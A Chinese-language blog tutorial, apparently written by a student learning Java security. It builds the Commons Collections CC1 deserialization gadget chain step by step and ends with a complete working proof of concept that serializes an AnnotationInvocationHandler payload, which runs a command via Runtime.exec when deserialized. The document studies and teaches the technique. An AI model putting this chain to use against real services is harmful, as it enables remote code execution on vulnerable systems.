获取中...

-

Just a minute...

前言

CC1链有两种写法,我这种写法跟ysoserial里的写法不一样,另一种写法写在另一篇文章。

cc1链要求java版本小于jdk8u71

我这里用的JDK版本是8u66

因为在高版本这条链子最后的annotationInvocationHandler类readObject之后,memberValues小版本有值,高版本是空

依赖

工欲善其事,必先利其器

关于apache commons collections的依赖,我推荐直接用maven装,这样方便快捷。在你的IDEA里,新建一个项目,在构建系统里选择Maven即可。

image-20240401194123468

找到你项目下的pom.xml文件,这是maven获取依赖的配置文件,对于CC链的依赖,我们把以下代码写入保存即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>CC</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
</dependencies>

</project>

如果maven下载的包里是已经编译好的.class文件,那么可以在maven的设置里选择下载java和注释文件,这样才方便我们的调试。

至此,环境依赖的问题就解决了。


链子构建

入口类:Transformer类

1
org.apache.commons.collections.functors  –Commons Collections自定义的一组功能类
1
2
3
public interface Transformer {
public Object transform(Object input);
}

这个类接受一个对象,并对传入的对象进行一些操作。

在这个类的引用里有一个InvokerTransformer类image-20240401195937440

image-20240401200110373

这个类接受三个参数:方法名、参数类型、参数。并在transform方法里进行反射调用。这里三个参数都是我们可控的,完全可以任意方法调用。

更重要的是,这个类是Serializable的,可以被序列化。

所以这个类就是我们链子的终点。

测试测试这个类:

1
2
3
public static void main(String[] args) throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
}

我们调用exec方法,参数类型字符串,参数值是calc

找到终点后逆向寻找,看看哪里调用了transform方法。就是下图的O.aaa方法

image-20240401201148989


最终确定了TransformedMap类调用transform方法并可以利用。image-20240401201452145

它的checkSetValue方法调用了transform方法。这里的value应该是Runtime.getRuntime()对象。image-20240401201623658

我们看看这个类的构造函数

1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

这个构造函数是protected,所以得让它自己调用自己(本类调用)。它接受三个参数:Obj.map,keyTransformer ,valueTransformer。

而valueTransformer跟transform的调用有关,我们找找哪里也调用了valueTransformer。


在这个类里,有一个静态方法:

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

这个方法new 了它自己的类,这里可以作为valueTransformer类的入口。

1
2
3
4
5
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});    //new 一个InvokerTransformer对象来作为valueTransformer
HashMap<Object,Object> inmap = new HashMap<>(); //我们new 一个map对象

//因为只有valueTransformer跟transform的调用有关,所以decorate的第二个参数可以设置为null
TransformedMap.decorate(inmap,null,invokerTransformer); //调用静态decorate方法,才能new一个TransformedMap对象

new 一个TransformedMap对象后我们需要找找哪里调用了checkSetValue方法。


只有一处调用了,就是TransformedMap的父类AbstractInputCheckedMapDecorator类里有一个MapEntry类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value); //调用checkSetValue方法
return entry.setValue(value);
}
}

正常来讲,只要遍历了被修饰过的map,就能走到MapEntry类,也就会调用MapEntry类的setValue方法(传进去的value是Runtime.getRuntime()对象)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] arge) throws Exception {
Runtime r = Runtime.getRuntime(); //新建Runtime.getRuntime()对象
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mate-calc"}); //new 一个InvokerTransformer对象来作为valueTransformer
HashMap<Object,Object> inmap = new HashMap<>(); //我们new 一个map对象
inmap.put("key","value"); //修饰map

//因为只有valueTransformer跟transform的调用有关,所以decorate的第二个参数可以设置为null
Map<Object,Object> outmap = TransformedMap.decorate(inmap,null,invokerTransformer); //调用静态decorate方法,才能new一个TransformedMap对象
for(Map.Entry entry: outmap.entrySet()){ //遍历被修饰的map,走到MapEntry类
entry.setValue(r); //调用entry.setValue,传入Runtime.getRuntime()对象,执行命令。
}
}
}

我们来run一下这段代码。

image-20240401215126327

弹计算器了,说明我们走到现在,这条链子是没问题的。

image-20240401215358786

现在我们找找,谁的readObject里面调用了(Map.Entry)setValue


在AnnotationInvocationHandler类的readObject里找到了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {

throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { //有Map.Entry
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue( //调用setValue
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
}

更巧的是,AnnotationInvocationHandler类是可序列化的。那这里明显就是最终出口了。

image-20240401215947659

我们看看它的构造函数:

1
2
3
4
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}

它接受两个参数,第一个参数是Class,它继承了Annotation,Annotation在java里是注解。即@Override

第二个参数是Map,我们可控,我们就可以把我们设计好的TransformedMap传进去。

还有一点,我们注意这个类的声明,它并没有写public,没写就是default类型。只能在它自己的包底下才能访问到。所以我们只能通过反射获取到,不能直接获取。

1
2
3
4
5
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");       //反射获取类
Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class); //获取构造器,因为构造器也不是共有的,所以要用getDeclaredConstructor
constructorhandler.setAccessible(true); //确保它可以访问
Object obj = constructorhandler.newInstance(Override.class,outmap); //实例化它,第一个参数是注解,第二个参数是map
serialize(obj);

如果写到这里。我们的链子应该大概完成了,但是这里我们还需要解决三个问题。


问题

1、上文中说过,setValue里的value应该是Runtime.getRuntime()对象。但是在AnnotationInvocationHandler类里的setValue里是给定的一个对象,我们好像不可控。

image-20240401221608826

2、还是关于Runtime.getRuntime()对象的,这里我们的链子里Runtime.getRuntime()对象是我们自己new的,但其实这个对象是不能被序列化的。(不是Serializable的)

image-20240401221725370

3、在最后的AnnotationInvocationHandler类里readObject方法里还需要进两个if,这个我们下文分析。

image-20240401222005194


分析&解决

序列化的问题

对于问题Runtime.getRuntime()对象不能序列化的问题,它虽然不能序列化,但是他的原型class可以。

image-20240401222457849

他的构造器也是私有的(也就是所谓的单例模式,这里不再赘述),但是Runtime类里有个静态方法getRuntime()正好返回了Runtime类的对象。

image-20240401222645865

我们先写一个正常的反射:

1
2
3
4
5
6
Class c = Runtime.class;           //拿到Runtime的class
Method getRuntime = c.getMethod("getRuntime",null); //null是因为getRuntime是无参方法
Runtime r = (Runtime) getRuntime.invoke(null,null); //等于 Runtime r = Runtime.getRuntime();
//第一个null是因为这里是静态方法,不需要填在哪个对象上调用。第二个null是因为是空参构造
Method exec = c.getMethod("exec",String.class); //sting是exec的参数
exec.invoke(r,"calc"); //在r这个对象上调用exec方法执行命令

类似的,因为我们最后需要TransformedMap对象,所以我们围绕invokerTransformer来写这样的一条反射链

我们可以利用InvokerTransformer调用getMethod方法,让其在Runtime.class对象上调用getRuntime方法:

1
Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);

image-20240402181416271

getMethod的参数是String和Class数组,所以InvokerTransformer第二个参数是new Class[]{String.class,Class[].class}

拿到getRuntime方法后,又对其调用了它的invoke方法。

我们可以利用InvokerTransformer在getRuntime上调用invoke方法

1
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);

image-20240402182109157

invoke的参数是Object和Object数组,所以InvokerTransformer第二个参数是new Class[]{Object.class,Object[].class}。invoke的参数值是空的,传入两个Null即可。

第三步就是在Runtime对象上调用exec方法执行命令。

1
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

至此我们就实现了Transformer的循环调用。

但是这样写会很复杂,我们需要写很多函数,而Transformer类中有一个ChainedTransformer专门就是干这个的。

1
2
3
4
5
6
7
8
9
10
11
public ChainedTransformer(Transformer[] transformers) {                //接受Transformer数组进去
super();
iTransformers = transformers;
}

public Object transform(Object object) { //进行递归调用
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

所以我们可以把上面的InvokerTransformer写成Transformer数组,再传入ChainedTransformer即可。

1
2
3
4
5
6
7
       Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class); //作为最开始的输入传入,其他的都是互相嵌套而已。

运行以上代码,成功弹计算器,说明序列化这个问题我们搞定了!


关于两个if的问题

我们可以调试看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] arge) throws Exception {

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> inmap = new HashMap<>();
inmap.put("key","value");
Map<Object,Object> outmap = TransformedMap.decorate(inmap,null,chainedTransformer);

Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class);
constructorhandler.setAccessible(true);
Object obj = constructorhandler.newInstance(Override.class,outmap);
serialize(obj);
unserialize("serialize");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

image-20240402185116469

断点打在AnnotationInvocationHandler的readObject里,我们发现这里它annotationType = AnnotationType.getInstance(type); 就是我们传入的注释,也就是Overried。

然后Map<String, Class<?>> memberTypes = annotationType.memberTypes();

获取了注释里的值。这里是Overried里的值。

image-20240402185228264

但是Override里的值是空的。所以下面的if判断里的memberType是空,就根本没进去。所以我们需要把Override换一个有值的注释。

image-20240402185256151

image-20240402185352881

Target是有值的,那么我们就把Override换成Target。

但是我们执行后发现这里的memberType还是空的。

image-20240402185736360

我们注意分析分析代码

1
2
3
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {}

这里的memberValue其实是我们传入map的键值对。

image-20240402190433766

这里的name是在memberValue里找键值对里的键(这里就是key)。然后第二行,在memberTypes里看看有没有这个键,有就让memberType赋值,就不是空了。

我们刚刚改过,memberTypes = annotationType.memberTypes();这里的memberTypes的值其实是我们传入注释里的值,我们刚刚看Target注释里的值是value。所以我们需要memberValue里键值对里的键的值是value即可。

所以,我们只需要把inmap.put(“key”,”value”);改成inmap.put(“value”,”aaa”);即可。

第二个if判断键值对是否能强转,不能强转就进入。我们这里是强转不了的,所以直接进入了。


setValue里的value不可控的问题

其实Transformer里还有一个类,是叫ConstantTransformer

1
2
3
4
5
6
7
8
public ConstantTransformer(Object constantToReturn) {              //接受一个对象
super();
iConstant = constantToReturn;
}

public Object transform(Object input) {
return iConstant; //返回接受的对象
}

所以,我们只需要在最后那个点调用的是它的transform方法,传入我们最开始的传入对象Runtime.class无论中间有什么修饰变化,它最后返回Runtime.class,然后传给InvokerTransformer反射调用来rce了。

他同样是Transformer里的,所以我们可以一并写进Transformer数组里。

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mate-calc"})
};

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws Exception {

//序列化InvokerTransformer,反射调用exec函数执行命令。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mate-calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

//Map类的构建与修饰
HashMap<Object,Object> inmap = new HashMap<>();
inmap.put("value","aaa");
Map outmap = TransformedMap.decorate(inmap,null,chainedTransformer);

//遍历map,触发链子
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class);
constructorhandler.setAccessible(true);
Object obj = constructorhandler.newInstance(Target.class,outmap);
serialize(obj);
}

public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize"));
oos.writeObject(obj);
}
}

以上代码生产一个名为serialize的序列化文件。

我们反序列化触发一下试试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class unserializeTest {
public static void main(String[] arge) throws Exception{
unserialize("serialize");
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

image-20240402192338349

弹计算器了!

至此,我们的Apache Commons Collections 反序列化1链终于完成了!(鼓掌)


链子思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
AnnotationInvocationHandler类
-> readObject()
-> setValue()

TransformedMap类
-> MapEntry类
->checkSetValue()
-> setValue()

ChainedTransformer类
-> transform(Transformers[])
-> ConstantTransformer类
-> transform(Runtime.class)

InvokerTransformer类
-> transform(Runtime.class)
-> getClass()
-> getMethod()
-> invoke()
->exec()

后记

由于周一周二我满课=-=,这篇文章只有下午六点下课了才能写一写,加上我周天学习CC1链的那天,总共花费了三天时间。这三天相当与每天都复习了一遍链子的思路和写法,感觉很神奇,这种到底是怎么发现的呢=-=

刚开始学java反序列化还要下大功夫,因为很难,我也很笨学得慢,大师傅讲的CC1链50分钟的视频我来回看了三遍才看懂。有了一点心得体会想要写到博客分享给大家。

作为初学者,最了解初学者の痛。我想尽量完善这篇文章,写的尽量详细,让我自己和所有刚开始学java安全的小白师傅们都有个愉快的开始。

最后的最后,附上我最开始写的,虽杂乱无章,却又珍贵无比的 代码X笔记

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws Exception {
// Runtime r = Runtime.getRuntime(); //Runtime类是不能序列化的,需要反射,它的Class可以,从16行到44行是为了序列化的操作
// Class c = r.getClass();
// Method method = c.getMethod("exec", String.class);
// method.invoke(r,"mate-calc");

// Class c = Runtime.class; //拿到Runtime的class
// Method getRuntime = c.getMethod("getRuntime",null); //null是因为getRuntime是无参方法
// Runtime r = (Runtime) getRuntime.invoke(null,null); //等于 Runtime r = Runtime.getRuntime();
// Method exec = c.getMethod("exec",String.class); //sting是exec的参数
// exec.invoke(r,"mate-calc");//执行命令


//弄清楚InvokerTransformer是怎么执行命令的,参数是那些?
//InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mate-calc"});

// Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); //相当于21 22两行
// Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime); //相当于23行
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mate-calc"}).transform(r);

//利用ChainedTransformer合并transformers,上面三行递归调用,合并就不用了
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mate-calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class); //传最开始的输入




//TransformedMap->decorate方法(Map map, Transformer keyTransformer, Transformer valueTransformer)
HashMap<Object,Object> inmap = new HashMap<>();
inmap.put("value","aaa"); //这里还要好好看看。
//protected Object checkSetValue(Object value) {
// return valueTransformer.transform(value);
// }
//只要遍历了被修饰过的map,就能走到setValue方法(传进去的value是Runtime.getRuntime()对象)->checkSetValue()
Map outmap = TransformedMap.decorate(inmap,null,chainedTransformer);
//AnnotationLnvocationHandler里的readObject里有遍历map的方法
//这个是default的类,需要反射获取
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //反射获取类
Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class); //获取构造器,因为构造器也不是共有的,所以要用getDeclaredConstructor
constructorhandler.setAccessible(true);//确保它可以访问
Object obj = constructorhandler.newInstance(Target.class,outmap); //实例化它,第一个参数是注解,第二个参数是map
serialize(obj);
}

public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize"));
oos.writeObject(obj);
}
}
相关文章
评论
分享
  • JAVA反序列化——CB链

    依赖jdk:jdk8u65 CB:commons-beanutils 1.8.3 在pom.xml里添加 12345678910<dependency> <groupId>commons-beanut...

    JAVA反序列化——CB链
  • JAVA反序列化——CC7链及CC链总结

    跟CC5一样,也是利用CC1的LazyMap.get及之后的部分,也是只改了开头。 这次是利用Hashtable.readObject方法,这个类是可以序列化的。 寻找在AbstractMap类里的equals方法调用了get方法: ...

    JAVA反序列化——CC7链及CC链总结
  • JAVA反序列化——CC5链

    CC5也是在CC1的路线上改了改入口类。 从AnnotationInvocationHandler.readObject改成了BadAttributeValueExpException.readObject 沿用CC1从LazyMap...

    JAVA反序列化——CC5链
  • JAVA反序列化——另一条CC1链

    之前的CC1链是利用TransformedMap的checkSetValue方法来调用ChainedTransformer.transform 而另一种写法是利用LazyMap.get方法走动态代理来调用ChainedTransfor...

    JAVA反序列化——另一条CC1链
  • JAVA反序列化——CC2链

    详细请看CC4链。CC2链跟CC4链几乎一样,就是在CC4利用InstantiateTransformer类的基础上改成了直接使用InvokerTransformer,其他没变。 123456CC4:Transformer[] tra...

    JAVA反序列化——CC2链
  • JAVA反序列化——CC4链

    新依赖: 12345<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collec...

    JAVA反序列化——CC4链
  • JAVA反序列化——CC3链

    这条链是利用动态类加载来经行代码执行。 原理根据java类的动态加载原理,我们知道动态类加载可以通过ClassLoader来完成。而其中有个ClassLoader.defineClass可以从字节码加载任意类。 因为是动态类加载,我们...

    JAVA反序列化——CC3链
  • JAVA反序列化——CC6链

    CC6链其实就是URLDNS链的前半加上CC1链的后半。 链子构建入口类跟CC1链完全一致,这里不再赘述。 在找哪里调用了ChainedTransformer.transform方法时,CC1链是找到了TransformedMap类...

    JAVA反序列化——CC6链
  • java反序列化——URLDNS链

    原理:根据反序列化的一般要求,首先URL类肯定是需要能实现反序列化的接口的。 而在URL类里的hashcode方法里,会先进行一个判断,如果不是-1,那么就进入URLStreamHandler类里的hashCode方法: 而在这...

    java反序列化——URLDNS链
  • ByteCTF2024大师赛web部分wp

    ezobj源码: 12345678910111213141516171819<?phpini_set("display_errors", "On");include_once("...

    ByteCTF2024大师赛web部分wp